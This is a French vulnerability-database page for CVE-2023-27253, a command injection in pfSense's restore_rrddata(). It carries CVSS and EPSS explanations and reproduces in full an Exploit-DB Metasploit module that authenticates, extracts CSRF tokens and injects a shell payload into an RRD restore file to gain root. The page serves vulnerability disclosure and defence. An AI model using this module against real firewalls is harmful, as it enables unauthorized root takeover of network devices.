CVE-2023-27253 : Détail

CVE-2023-27253

8.8
/
Haute
A03-Injection
47.96%V3
Network
2023-03-17
00h00 +00:00
2025-02-26
14h58 +00:00
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Descriptions du CVE

A command injection vulnerability in the function restore_rrddata() of Netgate pfSense v2.7.0 allows authenticated attackers to execute arbitrary commands via manipulating the contents of an XML file supplied to the component config.xml.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-91 XML Injection (aka Blind XPath Injection)
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 51608

Date de publication : 2023-07-19 22h00 +00:00
Auteur : Emir Polat
EDB Vérifié : No

# Exploit Title: pfSense v2.7.0 - OS Command Injection #Exploit Author: Emir Polat # CVE-ID : CVE-2023-27253 class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'pfSense Restore RRD Data Command Injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore" privilege to execute arbitrary operating system commands as the "root" user. This module has been tested successfully on version 2.6.0-RELEASE. }, 'License' => MSF_LICENSE, 'Author' => [ 'Emir Polat', # vulnerability discovery & metasploit module ], 'References' => [ ['CVE', '2023-27253'], ['URL', 'https://redmine.pfsense.org/issues/13935'], ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94'] ], 'DisclosureDate' => '2023-03-18', 'Platform' => ['unix'], 'Arch' => [ ARCH_CMD ], 'Privileged' => true, 'Targets' => [ [ 'Automatic Target', {}] ], 'Payload' => { 'BadChars' => "\x2F\x27", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat' } }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']) ] end def check unless login return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!") end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), 'method' => 'GET', 'keep_cookies' => true ) return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 unless res&.body&.include?('Diagnostics: ') return Exploit::CheckCode::Safe('Vulnerable module not reachable') end version = detect_version unless version return Exploit::CheckCode::Detected('Unable to get the pfSense version') end unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE') return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected") end Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!") end def login # Skip the login process if we are already logged in. return true if @logged_in csrf = get_csrf('index.php', 'GET') unless csrf print_error('Could not get the expected CSRF token for index.php when attempting login!') return false end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'vars_post' => { '__csrf_magic' => csrf, 'usernamefld' => datastore['USERNAME'], 'passwordfld' => datastore['PASSWORD'], 'login' => '' }, 'keep_cookies' => true ) if res && res.code == 302 @logged_in = true true else false end end def detect_version res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'keep_cookies' => true ) # If the response isn't a 200 ok response or is an empty response, just return nil. unless res && res.code == 200 && res.body return nil end if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil? nil else version end end def get_csrf(uri, methods) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, uri), 'method' => methods, 'keep_cookies' => true ) unless res && res.body return nil # If no response was returned or an empty response was returned, then return nil. end # Try regex match the response body and save the match into a variable named csrf. if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil? return nil # No match could be found, so the variable csrf won't be defined. else return csrf end end def drop_config csrf = get_csrf('diag_backup.php', 'GET') unless csrf fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!') end post_data = Rex::MIME::Message.new post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"') post_data.add_part('', nil, nil, 'form-data; name="restorearea"') post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"') post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s, 'keep_cookies' => true ) if res && res.code == 200 && res.body =~ /<rrddatafile>/ return res.body else return nil end end def exploit unless login fail_with(Failure::NoAccess, 'Could not obtain the login cookies!') end csrf = get_csrf('diag_backup.php', 'GET') unless csrf fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!') end config_data = drop_config if config_data.nil? fail_with(Failure::UnexpectedReply, 'The drop config response was empty!') end if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil? fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!') end config_data.gsub!(' ', '${IFS}') send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};") post_data = Rex::MIME::Message.new post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"') post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"') post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"") post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s, 'keep_cookies' => true ) if res print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.") end end end

Products Mentioned

Configuraton 0

Netgate>>Pfsense >> Version 2.7.0

Références

https://redmine.pfsense.org/issues/13935
Tags : Issue Tracking, Patch, Vendor Advisory